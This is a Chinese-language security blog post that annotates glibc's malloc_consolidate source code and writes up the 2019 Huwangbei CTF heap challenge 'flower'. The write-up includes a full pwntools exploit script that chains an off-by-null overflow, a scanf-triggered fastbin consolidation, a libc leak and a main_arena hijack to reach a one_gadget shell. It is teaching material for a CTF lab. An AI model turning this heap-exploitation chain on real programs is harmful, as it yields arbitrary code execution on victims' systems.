前言
off-by-null
和unsortbin
进行一系列的攻击利用。但是当只存在fastbin
分配时则需要结合malloc_consolidate
,因此从malloc_consolidate
源码角度分析一下该利用。malloc_consolidate源码
malloc_conlidate()
是free()
的一个变体,专门用于处理fastbin
中的空闲chunk。同时还负责堆管理的初始化工作。/*
-----------malloc_consolidate-----------
malloc_consolidate is a specialized version of free() that tears down chunks held in fastbins.Free itself cannot be used for this purpose since, among other thins, it might palce chunks cak onto fastbins.So, instead, we need to use a minor variant of the same code.
Also,because this routine needs to be called the first time through malloc anyway,it turns out to be the perfet palce to trigger initialization code.
*/
static void malloc_consolidate(mstate av)
{
mfastbinptr* fb;/*current fastbin being consolidated(当前需要被合并的fastbin堆块)*/
mfastbinptr* maxfb;/*last fastbin(for loop control)最后一个fastbin*/
mchunkptr p; /*current chunk being consolidated(当前正在合并的堆块)*/
mchunkptr nexp; /*next chunk to consolidate 下一个要被合并的堆块*/
mchunkptr unsorted_bin;/*堆头 unsortbin*/
mchunkptr first_unsorted; /*chunk to link to(将要被链接的堆块)*/
/*These have same use as in free()*/
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int nextinues;
mchunkptr bck;
mchunkptr fwd;
/*
if max_fast is 0,we kenow that av hasn't yet been initialized,in which case do so below
*/
if(get_max_fast()!=0)//判断max_fast是否为0,当第一次调用malloc之前gobal_max_fast为0,因此通过max_fast的值判断堆是否进行过初始化,若未进行过初始化则选择进行初始化堆块,若初始化过堆块,则将fastbin中的每一个chunk整合到unosrtbin或top_chunk中
{
clear_fastchunks(av);//清空fastbin,将所有fastbin的prev_inuse标识位都清空
unsorted_bin = unsorted_chunks(av);//获取unsorted_bin
/*
Remove each chunk from fast bin and consolidate it,placing it then in unsorted bin.Among other reasons for dong this,placing in unsorted bin avoids needing to calculate actual bins until malloc is sure that chunks aren't immediately going to be reused anyway.
*/
maxfb = &fastbin(av,NFASTBINS -1);//将fastbin最后一个bin取出来
fb = &fastbin(av,0);//取出第一个fastbin
do{
p = atomic_exchange_acq(fb,NULL);//取出fd指向的fastbin中的chunk
if(p!=0){//取出不为空的chunk
do{
check_inuse_chunk(av,p);//通过next_chunk的prev_inuse标识位去检查p是否为空闲块
nextp = p ->fd;//指向p的后一块
/*Slightly streamlined version of consolidation code in free() 简化版的free函数*/
size = p->size&~(PREV_INUSE|NON_MAIN_ARENA);//将标识位去除掉,计算真正的size
nextchunk = chunk_at_offset(p,size);//获取下一个chunk的位置
nextsize = chunksize(nextchunk);
if(!prev_inuse(p)){//如果p的prev_inuse为0,则说明p的前一个堆块为空闲堆块,因此需要首先与前一个堆块合并
prevsize = p->prev_size;//获取p的前一个堆块的size
size+= prevsize;//由于需要合并两个堆块,因此需要将两个size域合并
p = chunk_at_offset(p,-((long)prevsize));//p堆块与前一个堆块合并,后面利用unlink操作将p堆块取出来
unlink(av,p,bck,fwd);//unlink操作将p堆块取出来,将p的前一个堆块与后一个堆块连接起来
}
if(nextchunk != av->top){
//如果后一个堆块不为top_chunk
nextinuse = inuse_bit_at_offset(nextchunk,nextsize);//利用p的后一个堆块的后一个堆块的prev_inuse域来判断p的后一个堆块是否为空闲堆块
if(!nextinuse){
//后一个堆块为空闲堆块,开始后向合并
size += nextsize;
unlink(av,nextchunk,bck,fwd);//将后一个堆块取出来
}else
clear_inuse_bit_at_offset(nextchunk,0);//若后一个堆块不是空闲的堆块,则将pre_inuse标识位去除
first_unsored = unosred_bin->fd;//unsortbin链表中的第一个bin
unsorted_bin->fd=p;
first_unsored->bk=p;
//将p放进unsortbin中
set_foot(p,size);
}
else{
//若后一块为topchunk
size += nextsize;
set_head(p,size|PREV_INUSE);
av->top = p;
}
}while((p=nextp)!=0);//判断一个fastbin中的堆块合并完毕没
}
}while(fb++!=maxfb);//遍历下一个fastbin
}
else{
malloc_init_state(av);//初始化堆块
check_malloc_state(av);
}
}
源码分析
-
首先判断堆块是否已经初始化
-
利用
get_max_fast()
取出gobal_max_fast
里的值,若为0,则没有初始化过,则去初始化,若不为0,则进行合并操作。 -
gobal_max_fast
在调用malloc()
之前还没有设置数值,当调用malloc()
后,则会设置gobal_max_fast
为64(即0x40,32位系统下),设置为128(即0x80,64位系统下) -
因此可以通过
gobal_max_fast
里的值去判定堆块是否进行初始化 -
若已经初始化过,则将
fastbin
的标识位清空,为后续合并进入unsortbin
做准备 -
取出
fastbin
里的堆块,进行循环合并 -
判断前一个堆块是否为空,若为空则进行前向合并(即向地址较低的堆块进行合并,通过
unlink
将堆块取出) -
判断后一个堆块是否为
top_chunk
,若为top_chunk
则与top_chunk
合并 -
若不为
top_chunk
,则判断后一个堆块是否为空闲堆块 -
若空闲则进行后向合并(即与地址较高的堆块进行合并,通过
unlink
取出) -
若不空闲则将后一个堆块的
prev_inuse
位清空 -
将合并后的堆块放进
unsortbin
中 -
循环取出所有
fastbin
中的堆块,进行合并
malloc_consolidate
在实际的应用2019-护网杯-flower
检查保护
add功能
-
限制分配堆块大小为0-0x58
-
限制分配堆块的数量为6
-
输入时按照设置时的大小输入
delete功能
show功能
思路
-
程序存在一个off-by-null的漏洞,但是程序将堆块大小限制成
0-0x58
,因此无法利用,因为堆块size域为0x20-0x60
只占用一个字节,若触发off-by-null漏洞则堆块的size
域将会被x00
覆盖。因此需要将fastbin
进行合并,就可以产生大于size大于0x100
的堆块,从而可以利用off-by-null
-
在选项输入时,是通过
scanf
输入的,当输入的字符非常长时,scanf
会暂时申请一个large chunk
来存储输入的字符串,而在分配large chunk
之前会调用malloc_consolidate()
函数,从而可以将fastbin
中的chunk合并 -
创造出
unsortbin
后就是利用overlapped chunk
触发uaf
漏洞
脚本分析
-
首先是分配多个堆块从而使得触发
malloc_consolidate()
时构造出unsortbin
-
利用
off-by-null
修改unsortbin
的size
域触发overlapped chunk
-
利用堆叠泄露基地址
-
由于不能分配
0x70
的堆块因此不能像之前那样通过0x70
堆块劫持malloc_hook
,而是需要劫持main_arean
,因为程序开启了pie
保护,因此堆块的地址是0x56
或0x55
开头,而main_arena
用于存放fastbin
堆块的地址,因此可以通过分配0x50
的堆块去劫持main_arena
,并且topchuk
也存在于main_arena
中,这里需要知道当各个bin
都不满足分配要求时,堆块会从topchunk
中分隔开来,因此将topchunk
修改任意地址即可完成任意地址分配。
exp
from pwn import *
libc = ELF("libc.so.6")
sh = process("./pwn")
def malloc_consolidate():
sh.recvuntil("choice >> ")
sh.sendline(str("1"*0x5000))#构造长字符触发malloc_consolidate()
def add(size,index,name='a'):
sh.recvuntil("choice >> ")
sh.sendline("1")
sh.recvuntil("ize :")
sh.sendline(str(size))
sh.recvuntil("index:")
sh.sendline(str(index))
sh.recvuntil("flower name:")
sh.send(name)
def remove(index):
sh.recvuntil("choice >> ")
sh.sendline("2")
sh.recvuntil("idx :")
sh.sendline(str(index))
def show(index):
sh.recvuntil("choice >> ")
sh.sendline("3")
sh.recvuntil("idx :")
sh.sendline(str(index))
for i in range(6):
add(0x58,i)
for i in range(4):
remove(i)
malloc_consolidate()#构造出unsortbin
add(0x58,0,'a'*0x58)
add(0x10,0)
add(0x40,1)
add(0x40,2)
add(0x30,3)
remove(4)
remove(0)
malloc_consolidate()#触发overlapped chunk
add(0x10,0)
show(1) #泄露基地址
sh.recvuntil("flowers : ")
addr = u64(sh.recv(6).ljust(8,'x00'))
print 'addr:'+hex(addr)
libc_base = addr - 0x3c4b78
print 'libc_base:'+hex(libc_base)
remove(5)
remove(2)
add(0x30,0)
add(0x30,0,p64(0)+p64(0x51)+p64(libc_base+0x3c4b4d-0x8))#修改fastbin的fd指针指向main_arena
add(0x40,0)
payload = p64(0)*4+'x00'*3+p64(libc_base+0x3c4aed)#劫持main_arena修改topchunk值
add(0x40,0,payload)
add(0x58,0)
add(0x58,0)
add(0x58,0)
add(0x10,0)#耗尽堆块空间,从而使得下次分配从topchunk中分配
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
one_gadget = libc_base + 0xf1147
print 'one_gadget:'+hex(one_gadget)
payload = 'a'*0xb+p64(one_gadget)+p64(libc_base + libc.symbols['realloc']+20)
add(0x40,0,payload)
#attach(sh)
sh.interactive()
题目链接
https://github.com/Ex-Origin/ctf-writeups/tree/master/huwangbei_2019/pwn/flower
参考文章
https://juejin.cn/entry/6844903816031125518
https://blog.csdn.net/plus_re/article/details/79265805
https://www.anquanke.com/post/id/186185
http://blog.eonew.cn/archives/1212
本文始发于微信公众号(山石网科安全技术研究院):深度剖析malloc_consolidate
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论